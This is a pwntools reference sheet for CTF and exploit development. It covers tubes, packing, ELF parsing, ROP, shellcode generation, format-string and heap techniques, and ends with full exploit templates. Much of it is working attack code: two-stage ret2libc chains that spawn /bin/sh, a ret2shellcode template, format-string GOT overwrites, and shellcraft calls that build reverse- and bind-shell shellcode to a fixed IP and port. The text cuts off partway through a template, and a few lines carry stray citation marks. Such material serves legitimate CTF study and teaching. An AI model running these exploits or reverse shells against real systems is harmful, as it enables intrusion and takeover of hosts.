Legend:
[LOCAL]= Local process |[REMOTE]= Network target |[PWN]= Exploit technique |[DEBUG]= Debugging |[ROP]= Return Oriented Programming |[CTF]= CTF usage
1. Introduction & Installation
What it means: pwntools is a Python CTF framework and exploit development library. It abstracts the tedious parts of exploit development — sending bytes, receiving output, packing addresses, building ROP chains, generating shellcode — into clean one-liners. Every serious CTF player and exploit developer uses it daily.
# Install
pip install pwntools
pip3 install pwntools
# Install with all extras (recommended)
pip3 install pwntools --upgrade
# Kali Linux
sudo apt install python3-pwntools
# Verify install
python3 -c "import pwn; pwn.version"
pwn version
# CLI tools installed with pwntools:
# pwn → main CLI tool
# checksec → check binary protections
# cyclic → generate cyclic patterns
# shellcraft → generate shellcode
# disasm → disassemble bytes
# asm → assemble instructions
# hex → hex encode/decode
Import Styles
# Style 1: Wildcard import (CTF scripts — most common)
from pwn import *
# Imports everything into global namespace
# p64, u64, p32, process, remote, ELF, ROP, etc.
# Style 2: Explicit import (cleaner scripts)
import pwn
pwn.context.arch = 'amd64'
pwn.process('./binary')
# Style 3: Selective import
from pwn import process, remote, p64, u64, ELF, ROP, log
2. Core Concepts — context & settings
What it means: The context object is pwntools' global configuration. It controls
architecture, OS, log level, endianness, and word size. Setting context correctly ensures
asm(), shellcraft, p64/p32, and ROP work for your target architecture automatically.
2.1 context Settings
from pwn import *
# Architecture + OS
context.arch = 'amd64' # x86_64 — 64-bit Linux
context.arch = 'i386' # x86 — 32-bit Linux
context.arch = 'arm' # ARM 32-bit
context.arch = 'aarch64' # ARM 64-bit
context.arch = 'mips' # MIPS
context.os = 'linux' # linux (default)
context.os = 'windows' # windows
# Endianness (auto-set by arch usually)
context.endian = 'little' # default for x86/x64
context.endian = 'big' # for network protocols / some RISC
# Word size (auto-set by arch)
context.bits = 64 # 64-bit
context.bits = 32 # 32-bit
# Log level
context.log_level = 'debug' # show all send/recv + more
context.log_level = 'info' # show key events (default)
context.log_level = 'warning'# show only warnings
context.log_level = 'error' # silent
context.log_level = 'critical'
# Terminal for GDB
context.terminal = ['tmux', 'splitw', '-h'] # split pane (recommended)
context.terminal = ['gnome-terminal', '-e']
context.terminal = ['xterm', '-e']
# One-liner setup (most common CTF pattern)
context(arch='amd64', os='linux', log_level='debug')
# Set from binary (auto-detects arch/bits/os from ELF)
elf = ELF('./binary')
context.binary = elf # sets arch, bits, os automatically!
2.2 context as a Local Scope
# Temporarily override context for one block
with context.local(arch='i386'):
shellcode_32 = asm(shellcraft.sh()) # assembles as 32-bit
# Back to original after with block
shellcode_64 = asm(shellcraft.sh()) # assembles as 64-bit again
3. Tubes — process & remote
What it means: A "tube" is pwntools' unified I/O abstraction. Whether you're talking
to a local process, a remote TCP server, an SSH session, or a serial port — the same
send(), recv(), sendline(), recvline() interface works on all of them. Tubes are
the heart of every pwntools exploit.
3.1 process() — Local Binary
from pwn import *
# Start local process
p = process('./binary')
# With arguments
p = process(['./binary', 'arg1', 'arg2'])
# With environment variables
p = process('./binary', env={'LD_PRELOAD': './libc.so.6'})
# 32-bit binary on 64-bit system
p = process('./binary_32', env={'LD_PRELOAD': '/lib/i386-linux-gnu/libc.so.6'})
# Specify stdin/stdout
p = process('./binary', stdin=PTY) # allocate PTY (for interactive binaries)
p = process('./binary', stdout=PTY)
# Suppress output of binary stderr
p = process('./binary', stderr=open('/dev/null','wb'))
# Start stopped (for attaching GDB before execution)
p = process('./binary')
gdb.attach(p) # attach GDB immediately
# Get PID
print(p.pid)
# Close process
p.close()
p.kill()
3.2 remote() — Network Target
from pwn import *
# Connect to remote TCP server
r = remote('pwn.challenge.com', 1337)
# Connect to local port (for testing)
r = remote('127.0.0.1', 4444)
r = remote('localhost', 4444)
# UDP connection
r = remote('target.com', 1337, typ='udp')
# SSL/TLS
r = remote('target.com', 443, ssl=True)
r = remote('target.com', 443, ssl=True, sni='target.com')
# With timeout
r = remote('target.com', 1337, timeout=10)
# Close connection
r.close()
3.3 listen() — Create a Listener
from pwn import *
# Create TCP listener (for reverse shells or testing)
l = listen(4444)
print("[*] Waiting for connection...")
conn = l.wait_for_connection() # blocks until connection
conn.interactive() # interact with connected shell
3.4 Switching Between Local and Remote
# Best practice: use a flag to switch
import sys
from pwn import *
elf = ELF('./binary')
context.binary = elf
if args.REMOTE:
p = remote('pwn.challenge.com', 1337)
else:
p = process(elf.path)
# Run: python3 exploit.py → local
# Run: python3 exploit.py REMOTE → remote
4. Sending & Receiving Data
What it means: After opening a tube, you interact with it using send/receive methods. Getting the timing right — receiving the right amount before sending — is the key skill in writing stable exploits. Sending too early or not receiving enough are the most common causes of exploit failures.
4.1 Sending Data
from pwn import *
p = process('./binary')
# send() — send raw bytes (no newline)
p.send(b'hello')
p.send(b'\x41' * 100) # 100 'A' bytes
p.send(payload) # send exploit payload
# sendline() — send bytes + \n (newline)
p.sendline(b'hello') # sends b'hello\n'
p.sendline(str(1337).encode()) # send number as string
# sendafter() — wait for string, then send
p.sendafter(b'Enter name: ', b'hacker')
p.sendafter(b'> ', payload)
# sendlineafter() — wait for string, then sendline
p.sendlineafter(b'Enter name: ', b'hacker')
p.sendlineafter(b'> ', b'1') # menu selection
# sendthen() — send, then receive
p.sendthen(b'> ', b'option')
# Multiple sends
p.sendline(b'1') # choose menu option
p.sendlineafter(b'Name: ', b'test')
p.sendafter(b'Data: ', payload)
4.2 Receiving Data
from pwn import *
p = process('./binary')
# recv() — receive up to n bytes (non-blocking if data available)
data = p.recv(1024) # receive up to 1024 bytes
data = p.recv(4) # receive 4 bytes
data = p.recv() # receive any available data
# recvline() — receive until \n
line = p.recvline() # returns bytes including \n
line = p.recvline(keepends=False) # strip \n
# recvuntil() — receive until a delimiter string
data = p.recvuntil(b':') # receive until ':'
data = p.recvuntil(b'> ') # receive until prompt
data = p.recvuntil(b'\n') # receive one line
# keepends=False strips the delimiter
data = p.recvuntil(b':', drop=True) # don't include ':'
# recvn() — receive EXACTLY n bytes (blocks until n bytes received)
data = p.recvn(8) # receive exactly 8 bytes
# recvall() — receive until EOF
data = p.recvall() # get all remaining output
# recvrepeat() — receive with timeout
data = p.recvrepeat(0.5) # receive for 0.5 seconds
# clean() — discard all pending data
p.clean()
p.clean(timeout=0.5)
# Example: parse a leaked address
p.recvuntil(b'Address: ')
leak = p.recvline().strip() # b'0x7ffd12345678\n' → b'0x7ffd12345678'
addr = int(leak, 16) # convert hex string to int
log.info(f"Leaked address: {hex(addr)}")
4.3 Interactive Mode
# Drop into interactive shell — use after getting a shell
p.interactive()
# Useful after sending exploit that spawns /bin/sh
# Lets you type commands manually
5. Packing & Unpacking
What it means: Exploits require precise byte representations of addresses and values.
pwntools' pack/unpack functions handle endianness and word size automatically based on
context, eliminating the error-prone struct.pack calls.
5.1 Packing — Integer to Bytes
from pwn import *
context.arch = 'amd64' # sets 64-bit little-endian
# p64 — pack as 64-bit little-endian (x64)
p64(0xdeadbeef) # → b'\xef\xbe\xad\xde\x00\x00\x00\x00'
p64(0x401234) # → b'\x34\x12\x40\x00\x00\x00\x00\x00'
# p32 — pack as 32-bit little-endian (x86)
p32(0xdeadbeef) # → b'\xef\xbe\xad\xde'
p32(0x08048060) # → b'\x60\x80\x04\x08'
# p16 — pack as 16-bit
p16(0x1234) # → b'\x34\x12'
# p8 — pack as 8-bit (single byte)
p8(0x41) # → b'A'
# Big-endian variants
p64(0xdeadbeef, endian='big')
p32(0x08048060, endian='big')
# pack() — pack with context endian/bits
pack(0xdeadbeef) # uses context.bits and context.endian
# Multiple addresses (list comprehension)
addrs = [0x401234, 0x401256, 0x401278]
payload = b''.join(p64(a) for a in addrs)
# flat() — pack and concatenate multiple values
payload = flat(
b'A' * 64, # padding
p64(0xdeadbeef), # address 1
p64(0x401234), # address 2
b'\x90' * 16, # NOP sled
)
# flat() also accepts raw ints if context is set:
payload = flat([b'A'*64, 0xdeadbeef, 0x401234])
5.2 Unpacking — Bytes to Integer
from pwn import *
# u64 — unpack 64-bit little-endian bytes to int
u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00') # → 0xdeadbeef
u64(b'\x78\x56\x34\x12\x00\x00\x00\x00') # → 0x12345678
# u32 — unpack 32-bit little-endian bytes to int
u32(b'\xef\xbe\xad\xde') # → 0xdeadbeef
# u16 — unpack 16-bit
u16(b'\x34\x12') # → 0x1234
# u8 — unpack 8-bit
u8(b'\x41') # → 65
# unpack() — uses context bits/endian
unpack(b'\x78\x56\x34\x12\x00\x00\x00\x00')
# Practical: extract leaked address from recv output
leak_bytes = p.recvn(8) # receive exactly 8 bytes
leak_addr = u64(leak_bytes) # convert to integer
log.info(f"Leaked: {hex(leak_addr)}")
# Handle 6-byte address leak (common in 64-bit — no null bytes)
leak_bytes = p.recvn(6)
leak_addr = u64(leak_bytes.ljust(8, b'\x00')) # pad to 8 bytes
# Parse from hex string
addr = int(p.recvline().strip(), 16)
5.3 flat() — Build Payloads
from pwn import *
context.arch = 'amd64'
# flat() packs everything and concatenates
payload = flat(
b'A' * 72, # padding to ret address
0x401234, # ret gadget (auto-packed as p64)
0x601050, # GOT entry
b'/bin/sh\x00', # string
)
# With explicit word size
payload = flat({
0: b'A' * 72, # offset 0: padding
72: p64(0x401234), # offset 72: address
80: p64(0x0), # offset 80: null
})
6. ELF — Binary Analysis
What it means: The ELF class parses ELF binaries and exposes their symbols,
sections, GOT/PLT entries, and more. It's essential for finding function addresses,
GOT entries for ret2libc, and checking binary protections.
6.1 Load and Inspect ELF
from pwn import *
# Load binary
elf = ELF('./binary')
context.binary = elf # auto-set context from binary
# Basic info
print(elf.arch) # 'amd64' or 'i386'
print(elf.bits) # 64 or 32
print(elf.os) # 'linux'
print(elf.pie) # True if PIE enabled
print(elf.nx) # True if NX/DEP enabled
print(elf.canary) # True if stack canary present
print(elf.path) # '/path/to/binary'
print(elf.checksec()) # print all protections
6.2 Symbols & Addresses
from pwn import *
elf = ELF('./binary')
# Function addresses
elf.sym['main'] # address of main()
elf.sym['puts'] # address of puts() (PLT or GOT depending on context)
elf.sym['system'] # address of system()
elf.sym['win'] # address of win() — CTF target function
# Explicit PLT (Procedure Linkage Table)
elf.plt['puts'] # PLT entry for puts (call this to call puts)
elf.plt['printf']
elf.plt['system']
# Explicit GOT (Global Offset Table)
elf.got['puts'] # GOT entry for puts (contains real puts address at runtime)
elf.got['printf']
elf.got['__libc_start_main']
# Data symbols
elf.sym['buf'] # address of buffer in .bss/.data
elf.bss() # start of .bss section
elf.bss(offset) # .bss + offset
# Section addresses
elf.get_section_by_name('.text').header.sh_addr
elf.section('.data') # address of .data section
# Search for bytes/strings in binary
list(elf.search(b'/bin/sh')) # find all occurrences of /bin/sh
list(elf.search(b'/bin/sh\x00')) # exact null-terminated string
next(elf.search(b'\x90\x90\x90')) # find NOP sled
6.3 Checksec — Binary Protections
from pwn import *
elf = ELF('./binary')
# Print checksec table
elf.checksec()
# Output:
# [*] '/path/to/binary'
# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX enabled
# PIE: No PIE (0x400000)
# CLI checksec
# checksec ./binary
# checksec --file=./binary
Protection Meaning Bypass
──────────────────────────────────────────────────────────────
No PIE Fixed base address (0x400000) Direct addressing
PIE Randomized base Need info leak
No Canary No stack cookie Direct BOF to EIP
Canary Stack cookie before ret addr Leak canary first
NX disabled Stack/heap executable Inject shellcode
NX enabled Stack/heap NOT executable ROP chains
No RELRO GOT fully writable GOT overwrite
Partial RELRO GOT writable (after startup) GOT overwrite
Full RELRO GOT read-only Can't overwrite GOT
6.4 Libc Analysis
from pwn import *
# Load libc
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
# OR load provided libc from CTF challenge
libc = ELF('./libc.so.6')
# Function offsets in libc
libc.sym['system'] # offset of system() in libc
libc.sym['puts'] # offset of puts() in libc
libc.sym['execve'] # offset of execve()
libc.sym['__libc_start_main']
# Find /bin/sh string in libc
next(libc.search(b'/bin/sh\x00')) # offset of /bin/sh in libc
# Once you have a leak from puts():
leak = <leaked_puts_address>
libc.address = leak - libc.sym['puts'] # calculate libc base
system_addr = libc.sym['system'] # auto-adjusted with base!
binsh_addr = next(libc.search(b'/bin/sh\x00'))
log.info(f"libc base: {hex(libc.address)}")
log.info(f"system(): {hex(system_addr)}")
log.info(f"/bin/sh: {hex(binsh_addr)}")
7. ROP Chains
What it means: ROP (Return Oriented Programming) chains are sequences of addresses
pointing to small code snippets ending in ret (called gadgets). They bypass NX/DEP by
reusing existing executable code. pwntools' ROP class automates gadget finding and
chain building — turning what used to take hours into a few lines of Python.
7.1 Create ROP Object
from pwn import *
elf = ELF('./binary')
rop = ROP(elf) # create ROP object from binary
# From libc
libc = ELF('./libc.so.6')
rop = ROP(libc)
# From multiple binaries (chain across binary + libc)
rop = ROP([elf, libc])
7.2 Find Gadgets
from pwn import *
elf = ELF('./binary')
rop = ROP(elf)
# Print all gadgets
print(rop.gadgets)
# Find specific gadgets
rop.find_gadget(['ret']) # ret gadget (stack alignment)
rop.find_gadget(['pop rdi', 'ret']) # pop rdi; ret
rop.find_gadget(['pop rsi', 'pop r15', 'ret']) # pop rsi;pop r15;ret
rop.find_gadget(['pop rsp', 'ret'])
rop.find_gadget(['syscall'])
rop.find_gadget(['int 0x80'])
# Access gadget address directly (pwntools magic attributes)
rop.rdi # address of pop rdi; ret gadget
rop.rsi # address of pop rsi; ret gadget
rop.rax
rop.rbx
# Print found gadgets (human readable)
print(rop.dump())
# CLI gadget finder
# ROPgadget --binary ./binary --rop
# ropper -f ./binary --search "pop rdi"
7.3 Build ROP Chain
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP([elf, libc])
# Method 1: Using call() — automatically sets up args
rop.call('puts', [elf.got['puts']]) # puts(got_puts)
rop.call('main') # return to main
# Auto places args in correct registers (rdi, rsi, rdx for x64)
# Method 2: Manual gadget chaining
rop.raw(rop.find_gadget(['pop rdi', 'ret'])) # pop rdi; ret
rop.raw(elf.got['puts']) # → rdi = got_puts
rop.raw(elf.plt['puts']) # call puts(got_puts)
rop.raw(elf.sym['main']) # return to main
# Method 3: system('/bin/sh') ROP
binsh = next(libc.search(b'/bin/sh\x00'))
rop.raw(rop.rdi) # pop rdi; ret gadget
rop.raw(binsh) # rdi = &"/bin/sh"
rop.raw(rop.find_gadget(['ret'])) # ret (stack alignment for x64)
rop.raw(libc.sym['system']) # call system("/bin/sh")
# Get chain as bytes
chain = rop.chain()
print(rop.dump()) # pretty print the chain
# Build complete payload
offset = 72 # offset to return address
payload = flat([
b'A' * offset,
rop.chain(),
])
7.4 ret2plt / ret2libc Full Example
from pwn import *
# ─── Setup ───
elf = ELF('./binary')
libc = ELF('./libc.so.6')
context.binary = elf
p = process(elf.path) if not args.REMOTE else remote('host', 1337)
rop = ROP(elf)
offset = 72
# ─── Stage 1: Leak libc address via puts(got['puts']) ───
# Build ROP: puts(got_puts) → main
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
ret_gadget = rop.find_gadget(['ret'])
payload1 = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'], # rdi = address of got_puts
elf.plt['puts'], # call puts → leaks real puts address
elf.sym['main'], # return to main for stage 2
)
p.sendlineafter(b'> ', payload1)
# ─── Parse leaked address ───
p.recvline() # discard any output before leak
leak = u64(p.recvn(6).ljust(8, b'\x00')) # 6-byte address leak
libc.address = leak - libc.sym['puts']
log.success(f"puts leak: {hex(leak)}")
log.success(f"libc base: {hex(libc.address)}")
# ─── Stage 2: system('/bin/sh') ───
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
payload2 = flat(
b'A' * offset,
ret_gadget, # stack alignment (x64 system() needs 16-byte align)
pop_rdi,
binsh, # rdi = &"/bin/sh"
system, # call system("/bin/sh")
)
p.sendlineafter(b'> ', payload2)
p.interactive()
8. Shellcraft — Shellcode Generation
What it means: shellcraft generates assembly stubs for common operations — spawning
shells, making connections, reading files — and asm() compiles them to bytes. Combined
with flat(), you can build complete shellcode payloads in seconds.
8.1 Generate Shellcode
from pwn import *
# Set target architecture
context.arch = 'amd64' # 64-bit
context.arch = 'i386' # 32-bit
# View generated assembly (human readable)
print(shellcraft.sh()) # execve /bin/sh
print(shellcraft.linux.sh()) # explicit linux
print(shellcraft.amd64.linux.sh()) # explicit arch + OS
# Compile to bytes
shellcode = asm(shellcraft.sh())
print(hexdump(shellcode))
print(len(shellcode), "bytes")
# Compile custom assembly
shellcode = asm("""
xor rdi, rdi
push rdi
mov rdi, rsp
push 59
pop rax
syscall
""")
8.2 Shellcraft Modules
from pwn import *
context.arch = 'amd64'
# ─── Shell spawners ───
asm(shellcraft.sh()) # execve /bin/sh
asm(shellcraft.execve('/bin/sh', ['/bin/sh'], None))
asm(shellcraft.linux.execve('/bin/sh',['/bin/sh'],None))
# ─── Reverse shells ───
asm(shellcraft.connect('192.168.1.100', 4444)) # connect only
asm(shellcraft.linux.tcp.reverse_tcp('192.168.1.100', 4444))
# ─── Bind shell ───
asm(shellcraft.linux.tcp.bind_tcp(4444))
# ─── File read/write ───
asm(shellcraft.linux.cat('/etc/passwd'))
asm(shellcraft.linux.readfile('/flag.txt', 1)) # read flag → stdout
asm(shellcraft.linux.write(1, 0xdeadbeef, 100)) # write(1, addr, 100)
# ─── Stager (read more shellcode into memory) ───
asm(shellcraft.linux.read(0, 0xdeadbeef, 1024)) # read(stdin, addr, 1024)
# ─── Setuid/Setreuid ───
asm(shellcraft.setuid(0)) # setuid(0)
asm(shellcraft.setreuid(0, 0)) # setreuid(0, 0)
# ─── Syscall stubs ───
asm(shellcraft.linux.syscall('SYS_exit', 0)) # exit(0)
asm(shellcraft.linux.syscall('SYS_open',
'/etc/passwd', 0, 0)) # open('/etc/passwd', O_RDONLY)
# ─── NOP sled ───
asm(shellcraft.nop()) # single NOP
asm(shellcraft.nop() * 64) # 64 NOP sled
# ─── Encoder wrapper (avoid null bytes) ───
sc = asm(shellcraft.sh())
sc_encoded = encode(sc) # encode to avoid null bytes
8.3 Shellcraft CLI
# Generate from command line
shellcraft amd64.linux.sh
shellcraft i386.linux.sh
shellcraft amd64.linux.connect 192.168.1.100 4444
shellcraft amd64.linux.cat /etc/passwd
# Output formats
shellcraft -f hex amd64.linux.sh # hex string
shellcraft -f esc amd64.linux.sh # \x escape format
shellcraft -f bytes amd64.linux.sh # raw bytes (for piping)
shellcraft -f asm amd64.linux.sh # assembly source
shellcraft -f c amd64.linux.sh # C char array
# Show assembly first
shellcraft -d amd64.linux.sh # disassemble the shellcode
9. Cyclic Patterns
What it means: A cyclic (de Bruijn) pattern is a sequence where every 4 or 8 byte
subsequence appears exactly once. Send it to a crashing binary, read the value at EIP/RIP,
and cyclic_find() tells you the exact offset to the return address — without manual
binary search or trial and error.
9.1 Generate and Use Cyclic Patterns
from pwn import *
# Generate pattern
pattern = cyclic(200) # 200 bytes
pattern = cyclic(1000) # 1000 bytes
print(pattern) # b'aaaabaaacaaadaaae...'
# Find offset from crashed value
# After crash, EIP/RIP = 0x61616175 (x86) or 0x6161617561616176 (x64)
offset = cyclic_find(0x61616175) # x86 — 4-byte value
offset = cyclic_find(0x6161617561616176) # x64 — 8-byte value
print(f"Offset: {offset}")
# x64 uses 8-byte substrings
context.arch = 'amd64'
pattern = cyclic(200, n=8) # n=8 for 64-bit (default n=4)
offset = cyclic_find(b'caaadaaa', n=8) # find 8-byte chunk
# From GDB: after crash
# pwndbg: cyclic -l $rsp ← auto-finds offset from RSP value
# pwndbg: p $rip → note value → cyclic_find(value)
9.2 Cyclic CLI
# Generate 200-byte pattern
cyclic 200
cyclic -n 8 200 # 64-bit (8-byte chunks)
# Find offset
cyclic -l 0x61616175 # 32-bit crash value
cyclic -l 0x6161617561616176 # 64-bit crash value
cyclic -n 8 -l <value> # 64-bit lookup
# Example workflow:
cyclic 200 | ./binary # crash the binary
# GDB shows: RSP = 0x616161616161616e
cyclic -n 8 -l 0x616161616161616e # → offset: 72
10. Crypto & Encoding Utilities
What it means: pwntools includes a comprehensive set of encoding, hashing, and XOR utilities — useful for CTF crypto challenges, encoding payloads, and data manipulation.
10.1 Encoding / Decoding
from pwn import *
# Hex encoding
enhex(b'hello') # → '68656c6c6f'
unhex('68656c6c6f') # → b'hello'
enhex(b'\xde\xad\xbe\xef') # → 'deadbeef'
# Base64
b64e(b'hello') # → 'aGVsbG8='
b64d('aGVsbG8=') # → b'hello'
# URL encoding
urlencode('hello world') # → 'hello%20world'
urldecode('hello%20world') # → 'hello world'
# Hex dump (visual)
hexdump(b'\xde\xad\xbe\xef\x41\x42\x43\x44')
# 00000000 de ad be ef 41 42 43 44 │....│ABCD│
# Bit manipulation
bits(b'A') # →[1]
unbits() # → b'A'[1]
# Rotate bits
rol(0xdeadbeef, 8, 32) # rotate left 8 bits (32-bit)
ror(0xdeadbeef, 8, 32) # rotate right 8 bits
10.2 XOR Operations
from pwn import *
# XOR bytes with key
xor(b'hello', b'\x41') # XOR each byte with 0x41
xor(b'hello', b'key') # XOR with repeating key
xor(b'hello', 0x41) # XOR with integer key
# XOR with auto-repeat key
xor(b'hello world', b'KEY') # key repeats: KEY KEY KEY...
# Find XOR key (known plaintext)
ciphertext = xor(b'hello', b'\x41')
# xor(ciphertext, b'hello') → finds key
# Practical: decode XOR-encoded shellcode
encoded_sc = b'\x72\x60\x6d\x6d\x6e' # "hello" XOR 0x1a
decoded_sc = xor(encoded_sc, 0x1a)
print(decoded_sc) # → b'hello'
10.3 Hashing
from pwn import *
import hashlib
# pwntools hash wrappers
md5sumhex(b'hello') # → '5d41402abc4b2a76b9719d911017c592'
sha1sumhex(b'hello')
sha256sumhex(b'hello')
# hashlib (more complete)
hashlib.md5(b'hello').hexdigest()
hashlib.sha256(b'hello').hexdigest()
# CTF hash challenge solver (find prefix with target hash)
import hashlib
target = '000000' # hash must start with this
i = 0
while True:
attempt = f'prefix{i}'.encode()
if hashlib.md5(attempt).hexdigest().startswith(target):
print(f"Found: {attempt}")
break
i += 1
11. GDB Integration
What it means: pwntools can automatically launch GDB and attach it to a running process, set breakpoints, and pass GDB scripts — all from your Python exploit. This makes debugging exploits seamless: you run the script, GDB opens automatically at the right moment.
11.1 Attach GDB to Process
from pwn import *
# Set terminal for GDB window
context.terminal = ['tmux', 'splitw', '-h'] # tmux horizontal split
context.terminal = ['tmux', 'new-window'] # new tmux window
elf = ELF('./binary')
p = process(elf.path)
# Attach GDB to running process
gdb.attach(p)
# Attach with GDB script
gdb.attach(p, '''
break main
break *0x401234
continue
''')
# Attach with breakpoint at specific address
gdb.attach(p, f'break *{elf.sym["vuln"]}\ncontinue')
11.2 gdb.debug() — Start Process Under GDB
from pwn import *
context.terminal = ['tmux', 'splitw', '-h']
elf = ELF('./binary')
# Start binary directly under GDB (GDB controls execution)
p = gdb.debug(elf.path, '''
break main
break *vuln+48
continue
''')
# With args
p = gdb.debug([elf.path, 'arg1', 'arg2'], 'continue')
# With env
p = gdb.debug(elf.path, env={'LD_PRELOAD': './libc.so.6'}, gdbscript='continue')
# Interact normally after
p.sendlineafter(b'> ', payload)
p.interactive()
11.3 Useful GDB/pwndbg Commands for Exploit Dev
# ─── pwndbg commands ───
context # show registers + stack + code (auto)
checksec # show protections
vmmap # virtual memory map (find libc base, etc.)
plt # show PLT entries
got # show GOT entries
search -x "/bin/sh" # search for /bin/sh in memory
# ─── Finding offsets ───
cyclic 200
run # crash the binary
cyclic -l $rip # find offset (pwndbg)
# OR
x/1gx $rsp # examine value at RSP after crash
cyclic -n 8 -l <hex_value> # find offset
# ─── Examining memory ───
x/20gx $rsp # 20 qwords from RSP
x/20wx $esp # 20 dwords from ESP
x/s $rdi # string at RDI
x/i $rip # instruction at RIP
telescope $rsp 20 # pwndbg dereferencing view of stack
# ─── ROP gadget finding ───
ropper # list gadgets in pwndbg
ropper --search "pop rdi"
# ─── Heap ───
heap # show heap chunks
bins # show free bins
vis_heap_chunks # visual heap layout
12. Format String Exploitation
What it means: Format string vulnerabilities occur when user input is passed directly
as the format argument to printf(). This allows reading arbitrary memory (%x, %s)
and writing arbitrary values (%n). pwntools' FmtStr class automates the exploit.
12.1 Manual Format String Read
from pwn import *
p = process('./vuln_printf')
# Read stack values with %p (pointer format)
payload = b'%p ' * 20 # leak 20 stack values
p.sendline(payload)
output = p.recvline()
print(output)
# Output: 0x7fff... 0x401234 0xdeadbeef...
# Read specific offset (e.g., 7th argument on stack)
p.sendline(b'%7$p') # print 7th printf argument as pointer
leak = int(p.recvline().strip(), 16)
# Read string at specific offset
p.sendline(b'%7$s') # print string at address in 7th arg
# Find your input on the stack (find the offset)
# Send a recognizable pattern and see which position it appears
for i in range(1, 30):
p.sendline(f'AAAA %{i}$p'.encode())
line = p.recvline()
if b'0x41414141' in line or b'41414141' in line:
print(f"Input at offset: {i}")
break
p.clean()
12.2 FmtStr — Automated Format String Exploit
from pwn import *
elf = ELF('./binary')
p = process(elf.path)
# Step 1: Define a send/recv function for FmtStr
def send_fmt(payload):
p.sendlineafter(b'Input: ', payload)
return p.recvline()
# Step 2: Create FmtStr auto-exploiter
# numPrinted = number of chars already printed before our payload
# offset = printf argument offset where our input appears
fmt = FmtStr(execute_fmt=send_fmt, offset=6, numPrinted=0)
# Step 3: Write arbitrary values
# Overwrite GOT entry for exit() with address of win()
fmt.write(elf.got['exit'], elf.sym['win'])
fmt.execute_writes() # send the payload to perform writes
# Step 4: Trigger the overwritten function
p.sendline(b'trigger exit')
p.interactive()
12.3 Manual %n Write (One-Shot)
from pwn import *
elf = ELF('./binary')
p = process(elf.path)
# Format string payload to write 0x1 to target_addr
# fmtstr_payload(offset, {addr: value})
offset = 6 # printf offset of our input
target = elf.got['exit']
value = elf.sym['win']
payload = fmtstr_payload(offset, {target: value})
p.sendlineafter(b'> ', payload)
p.interactive()
13. Heap Exploitation Helpers
What it means: pwntools includes utilities for interacting with heap allocators — primarily glibc's ptmalloc2. While full heap exploitation requires deep understanding, pwntools provides helpful structures and size calculations.
from pwn import *
# ─── Chunk size calculation ───
# malloc(n) actual chunk size = next multiple of 0x10 + 0x10 header
# Minimum chunk size: 0x20 (0x10 header + 0x10 data)
def chunk_size(n):
"""Calculate actual malloc chunk size"""
return ((n + 0x10 + 0xf) & ~0xf)
# ─── Common heap patterns ───
# tcache bin sizes (x64): 0x20, 0x30, 0x40, ... 0x410
# fastbin sizes: 0x20 - 0x80
# smallbin: 0x20 - 0x3f0
# largebin: >= 0x400
# ─── Useful for heap spray ───
# Fill tcache bin (7 chunks) then overflow to unsorted bin
chunks = []
for i in range(8):
chunks.append(malloc(0x100)) # in exploit interaction loop
for chunk in chunks[:7]:
free(chunk) # fill tcache[0x110]
free(chunks) # goes to unsorted bin → libc leak![2]
# ─── House of Force / tcache poisoning pattern ───
# Step 1: Overflow chunk A metadata → corrupt size/fd
# Step 2: Free chunk A → corrupted fd → fake chunk in freelist
# Step 3: malloc() twice → get pointer to arbitrary addr
# Step 4: Write payload to "allocated" fake chunk
# ─── pwndbg heap commands ───
# heap → all heap chunks
# vis_heap_chunks → visual layout
# bins → tcache/fast/unsorted/small/large bins
# malloc_chunk addr → inspect specific chunk
14. SSH & Network Helpers
from pwn import *
# ─── SSH Connection ───
s = ssh('user', 'target.com', password='pass', port=22)
s = ssh('user', 'target.com', keyfile='~/.ssh/id_rsa')
# Run command over SSH
output = s.run('whoami').recvall()
print(output)
# Get interactive shell
shell = s.shell()
shell.interactive()
# Download/upload files
s.download_file('/etc/passwd', 'passwd_copy')
s.upload_file('exploit.py', '/tmp/exploit.py')
# Run process on remote system
p = s.process('./binary')
p.sendline(b'payload')
p.interactive()
# ─── UDP sockets ───
r = remote('target.com', 1337, typ='udp')
r.send(b'ping')
r.recv(1024)
# ─── Listeners ───
l = listen(4444, bindaddr='0.0.0.0')
conn = l.wait_for_connection()
conn.interactive()
15. Logging & OPSEC
from pwn import *
# ─── Log functions ───
log.debug('Debug info (only shown at debug level)')
log.info('General info')
log.success('Exploit succeeded!')
log.warning('Something suspicious')
log.error('Fatal error')
log.failure('Exploit failed')
log.critical('Critical error')
# ─── Progress / spinners ───
with log.progress('Leaking libc base') as prog:
prog.status('Sending stage 1...')
# ... send payload ...
prog.status('Parsing leak...')
# ... parse ...
prog.success(f'Got libc base: {hex(libc_base)}')
# ─── Log level control ───
context.log_level = 'debug' # show all bytes sent/received
context.log_level = 'info' # default
context.log_level = 'warning' # silent except warnings
# ─── Pause for GDB attach ───
pause() # pause script, print PID, wait for Enter
# Manually: gdb -p <PID>
# ─── Error handling ───
try:
p.sendlineafter(b'> ', payload, timeout=5)
except EOFError:
log.failure("Process died — likely crashed")
p = process(elf.path) # restart
16. Full Exploit Templates
16.1 Template: x86 Stack BOF (ret2shellcode)
#!/usr/bin/env python3
from pwn import *
# ─── Config ───
elf = ELF('./binary32')
context.binary = elf
p = process(elf.path) if not args.REMOTE else remote('host', 1337)
# ─── Shellcode ───
shellcode = asm(shellcraft.sh())
# ─── Payload ───
offset = 112 # offset to EIP (find with cyclic)
jmp_esp = 0x08048123 # JMP ESP gadget address (find with ROPgadget)
nop_sled = b'\x90' * 16
payload = flat([
b'A' * offset, # padding
p32(jmp_esp), # overwrite EIP → JMP ESP
nop_sled, # NOP sled
shellcode, # shellcode after ESP
])
# ─── Exploit ───
p.sendlineafter(b'> ', payload)
p.interactive()
16.2 Template: x64 ret2libc (2-Stage)
#!/usr/bin/env python3
from pwn import *
# ─── Config ───
elf = ELF('./binary64')
libc = ELF('./libc.so.6')
context.binary = elf
p = process(elf.path) if not args.REMOTE else remote('host', 1337)
rop = ROP(elf)
offset = 72 # offset to RIP
# ─── Gadgets ───
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])
ret = rop.find_gadget(['ret'])
# ─── Stage 1: Leak puts@got → calculate libc base ───
